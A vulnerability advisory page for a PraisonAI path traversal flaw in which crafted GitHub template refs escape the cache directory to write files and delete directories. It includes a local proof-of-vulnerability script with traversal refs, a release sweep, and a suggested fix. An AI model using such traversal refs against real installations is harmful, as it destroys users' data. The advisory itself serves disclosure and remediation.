High

PraisonAI GitHub template cache path traversal allows outside-cache file write and directory deletion

  • Disclosed: 18.06.2026
  • Updated: 11.10.2026 14:18

Summary

PraisonAI's template loader accepts GitHub template URIs with refs, for example github:owner/repo/template@v1.0.0. The resolver stores the user-controlled template path and ref verbatim, and the cache layer later joins those values into ~/.praison/cache/templates/github/<owner>/<repo>/<template>/<ref> without normalizing each segment or checking that the final path remains inside the template cache root.

A crafted ref such as ../../../../../../outside-delete-target therefore escapes the cache directory. The first load can write .cache_meta.json outside the cache. If the normal cache hierarchy for the same owner/repo/template has already been created, the same path reaches shutil.rmtree(cache_path) and removes an attacker-selected outside directory before replacing it with cache metadata.

This is distinct from the old template Zip Slip advisory. No malicious archive member is needed, and the PoV disables network access entirely. The bug is in cache-key construction for GitHub template URIs.

Affected versions

Confirmed vulnerable:

  • v2.6.0
  • v3.9.24
  • v3.9.26
  • v4.5.126
  • v4.5.128
  • v4.6.9
  • v4.6.10
  • v4.6.56
  • v4.6.57
  • current head 2f9677abb2ea68eab864ee8b6a828fd0141612e1

Recommended affected range: >= 2.6.0, <= 4.6.57.

No fixed version is known at the time of this report.

Impact

An attacker who can cause a user or service to load an attacker-supplied PraisonAI GitHub template URI can:

  • create .cache_meta.json outside the template cache directory;
  • delete a directory reachable by the PraisonAI process after a normal cache entry exists for the same owner/repo/template prefix;
  • corrupt user configuration, project state, or application data reachable by the process permissions.

Root cause

Current-head code path:

  • praisonai/templates/resolver.py: GITHUB_PATTERN captures path and ref with broad regex groups and returns them without segment validation.
  • praisonai/templates/security.py: is_source_allowed() allows GitHub sources by default when allow_any_github is true.
  • praisonai/templates/registry.py: get_template() resolves a GitHub URI, fetches the template, calculates a checksum, then calls self.cache.put(...).
  • praisonai/templates/cache.py: _get_cache_path() builds the cache path as self.cache_dir / "github" / resolved.owner / resolved.repo / resolved.path / ref.
  • praisonai/templates/cache.py: put() removes an existing cache_path with shutil.rmtree(cache_path), recreates it, copies content, and writes .cache_meta.json.

There is no check equivalent to:

  1. reject absolute path segments;
  2. reject . / .. in owner, repo, template path, or ref;
  3. resolve the candidate path;
  4. require os.path.commonpath([cache_root, candidate]) == cache_root.

Local-only PoV

Run from a PraisonAI source checkout:

python
from pathlib import Path
from tempfile import TemporaryDirectory
from praisonai.templates.cache import TemplateCache
from praisonai.templates.loader import TemplateLoader
from praisonai.templates.registry import TemplateRegistry

def loader(cache_dir):
    cache = TemplateCache(cache_dir=cache_dir)
    registry = TemplateRegistry(cache=cache, offline=False)
    registry._make_request = lambda url, headers=None: (_ for _ in ()).throw(
        RuntimeError("network disabled")
    )
    return TemplateLoader(cache=cache, registry=registry)

with TemporaryDirectory(prefix="prai-cache-ref-pov-") as tmp:
    root = Path(tmp)
    cache_dir = root / "cache" / "templates"

    write_target = root / "outside-write-target"
    loader(cache_dir).load(
        "github:attacker/repo/template@../../../../../../outside-write-target"
    )

    delete_target = root / "outside-delete-target"
    delete_target.mkdir()
    canary = delete_target / "canary.txt"
    canary.write_text("delete-me")

    ldr = loader(cache_dir)
    ldr.load("github:attacker/repo/template@main")
    ldr.load(
        "github:attacker/repo/template@../../../../../../outside-delete-target"
    )

    safe_target = root / "safe-control"
    safe_target.mkdir()
    safe_canary = safe_target / "canary.txt"
    safe_canary.write_text("must-remain")
    loader(root / "safe-cache" / "templates").load(
        "github:attacker/repo/template@main"
    )

    print("outside metadata written:", (write_target / ".cache_meta.json").exists())
    print("outside canary exists after malicious ref:", canary.exists())
    print("safe canary exists after normal ref:", safe_canary.exists())

Expected output:

outside metadata written: True
outside canary exists after malicious ref: False
safe canary exists after normal ref: True

The PoV uses only temporary directories and disables network fetches.

I also confirmed the same behavior without monkeypatching network fetches. With a non-existent GitHub repository, PraisonAI makes real GitHub requests, handles the failed fetch, returns a fallback template config, and still writes/deletes through the escaped cache path. The PoV above disables network only to keep the reproducer deterministic and harmless.

Release sweep

The same PoV was run against checked-out tags:

praisonai-current metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.57 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.56 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.10 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.9 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.5.128 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.5.126 metadata_write= True outside_delete= True safe_control= True
praisonai-v3.9.26 metadata_write= True outside_delete= True safe_control= True
praisonai-v3.9.24 metadata_write= True outside_delete= True safe_control= True
praisonai-v2.6.0 metadata_write= True outside_delete= True safe_control= True

git log shows the affected template cache/resolver/registry files were added in the v2.6.0 release commit e7a8ce8e.

Suggested fix

Validate every cache path segment before joining:

  • owner and repo: strict GitHub owner/repo-name regex;
  • template path: split on / and reject empty, ., .., and absolute forms;
  • ref: reject /, path separators, empty segments, ., .., and absolute forms, or encode/hash the ref before using it in a filesystem path.

Then enforce a final boundary check:

python
cache_root = self.cache_dir.resolve()
candidate = (cache_root / "github" / owner / repo / safe_path / safe_ref).resolve()
if os.path.commonpath([str(cache_root), str(candidate)]) != str(cache_root):
    raise ValueError("template cache path escapes cache root")

A more robust design is to hash untrusted URI fields into opaque directory names instead of using raw remote identifiers as path segments.

Also consider failing closed when a GitHub template fetch returns no files. Currently a failed fetch can still result in a cached empty template directory.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) praisonai >= 2.6.0, < 4.6.59 4.6.59

References

CVSS score 8.1/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
Weakness (CWE)
CWE-22, CWE-73
Platform
Python (PyPI)
Package
praisonai
Disclosed
18.06.2026
Updated
11.10.2026 14:18

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-3509 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-f44v-7qgw-9gh9 - CC BY 4.0

Vulnerability history: praisonai

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (104) in the archive
Total entries
104
First → latest
04.2026 10.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 27
  • High 60
  • Medium 17

Disclosures per year

  1. 2026: 104
Severity:
  1. High · 7.5 CVE-2026-61439 < 4.6.78 4.6.78
  2. PraisonAI GitHub template cache path traversal allows outside-cache file write and directory deletion this entry
    High · 8.1 CVE-2026-57113 >= 2.6.0, < 4.6.59 4.6.59
  3. High · 7.3 CVE-2026-56839 < 4.6.59 4.6.59
  4. High · 7.2 CVE-2026-57114 >= 4.5.126, < 4.6.59 4.6.59
  5. Critical · 9.8 CVE-2026-57125 < 4.6.59 4.6.59
  6. High · 8.8 CVE-2026-57117 >= 4.6.10, < 4.6.59 4.6.59
  7. High · 7.8 CVE-2026-56838 >= 4.5.87, < 4.6.59 4.6.59
  8. High · 8.3 CVE-2026-56835 >= 3.11.0, < 4.6.59 4.6.59
  9. High · 8.2 CVE-2026-56836 >= 4.5.112, < 4.6.59 4.6.59
  10. High CVE-2026-47397 < 4.6.40 4.6.40
  11. Critical · 9.8 CVE-2026-41497 < 4.5.149 4.5.149
  12. Critical · 9.8 CVE-2026-40288 < 4.5.139 4.5.139
  13. High · 8.4 CVE-2026-40287 < 4.5.139 4.5.139
  14. Critical · 9.3 CVE-2026-40154 < 4.5.128 4.5.128
  15. Critical · 9.6 CVE-2026-40088 < 4.5.121 4.5.121
  16. High · 8.8 CVE-2026-39891 < 4.5.115 4.5.115
  17. Critical CVE-2026-35615 < 1.5.113 1.5.113
Show more (7) Showing 80 of 87

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.